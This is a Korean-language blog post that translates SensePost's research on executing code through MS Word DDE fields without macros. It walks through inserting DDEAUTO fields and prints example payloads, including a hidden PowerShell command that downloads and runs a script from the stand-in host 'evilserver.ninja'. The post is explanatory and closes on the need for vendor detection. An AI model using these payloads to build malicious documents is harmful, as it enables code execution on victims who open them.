들어가기 앞서
SensePost 는 어떤 매크로나 취약점 활용 없이 MSWord 기본제공 기능을 통해 코드를 실행할 수 있는 방법을 블로그를 통해 선보였습니다. 여기선 이 블로그를 간단히 번역하고 좀 더 간단한 용어로 바꿔 소개하겠습니다. 시간관계상 의역이 많으니 정확한 정보를 위해 원문을 직접 보시길 권장합니다.
DDE 란
먼저 WinOS 는 어플리케이션과 데이터를 주고받기 위해 다양한 방법을 제공합니다. 그중 하나가 Dynamic Data Exchange 프로토콜입니다. DDE 는 어플리케이션간 데이터를 교환하는 메시지를 전송하고, 공유 메모리를 통해 데이터를 교환합니다. DDE는 먼저 one-time 데이터를 전송하고, 지속적인 데이터 전송을 위해 데이터 ‘업데이트’방식을 사용합니다.
Windows provides several methods for transferring data between applications. One method is to use the Dynamic Data Exchange (DDE) protocol. The DDE protocol is a set of messages and guidelines. It sends messages between applications that share data and uses shared memory to exchange data between applications. Applications can use the DDE protocol for one-time data transfers and for continuous exchanges in which applications send updates to one another as new data becomes available.
DDE 를 활용해 코드를 실행할 수 있단것은 SensePost 의 지난 포스트를 통해 밝힌 바 있습니다. 여기선 MSWord, MSExcel 에서 사용 가능한 COM 오브젝트를 통해 DDE를 어떻게 활용할 수 있는지 알아보겠습니다.
DDE를 활용한 Word 문서 만들기
삽입
탭 ->빠른 문서요소 탐색
->필드
를 클릭합니다
= (Formula)
를 클릭하고 확인을 누릅니다
- 그럼
!수식의 끝이 잘못되었습니다.
란 메시지를 확인할 수 있습니다, 이를 우클릭해필드 코드 토글
을 클릭합니다.
- 이제 코드 필드가 보이고, 그곳에 아래와 같은 코드를 입력합니다.
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }
설명을 덧붙이자면 DDEAUTO
키워드는 MSWord 에게 이 필드는 DDE 필드라는걸 알려주고, 문서가 열렸을 때 이 필드를 자동으로 실행토록 합니다. 뒤에 따라오는 것은 물론 실행코드입니다. CTRL + F9 단축키로 비어있는 필드 식별자를 추가해도 같은 일을 할 수 있습니다.
이 외에도 다양한 코드 삽입 예제가 있습니다.
{DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" }
{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}
만든 문서 MSWord 로 열기
이제 이 파일을 docx 로 저장하고 MSWord 로 열게되면 경고 메시지가 출력되는걸 확인할 수 있습니다. 하지만 이 경고는 링크를 업데이트 한다는 것으로 악성코드에 대한 경고로는 보이지 않습니다.
연이어 두 번째 경고가 출력되는데 이는 특정 어플리케이션을 실행할지 말지 묻는 경고창입니다. 이는 악성코드에 대한 경고로 여겨지기에 충분합니다. (물론 코드 내용에 따라 어느정도 ‘덜 악성으로 보이게’ 하는것은 가능합니다.) 여기까지 확인을 누른다면, 악성코드가 실행됩니다. 아래 동영상에서 실제로 백도어를 실행하는 예를 확인해보시길 바랍니다.
결론
경고창이 무려 두 번이나 출력된다는 점은 과연 이 방법에 넘어가는 사용자가 있을까? 하는 의구심을 품게 합니다. 하지만 매크로를 활용한 문서 또한 숱한 감염사례가 있는것으로 볼 때, 중요한것은 보안성을 사용자에게 맡기는 것 보단 보안 제품이 제공해 줘야 한다는 것입니다. 아직까지 이 방법을 활용한 문서를 진단하는 벤더는 없습니다만 곧 추가되리라 생각합니다. 시간이 허락한다면 진단 방법에 대한 내용을 추가토록 하겠습니다.
실 유포중인 샘플에 관한 Cisco Talos 분석보고서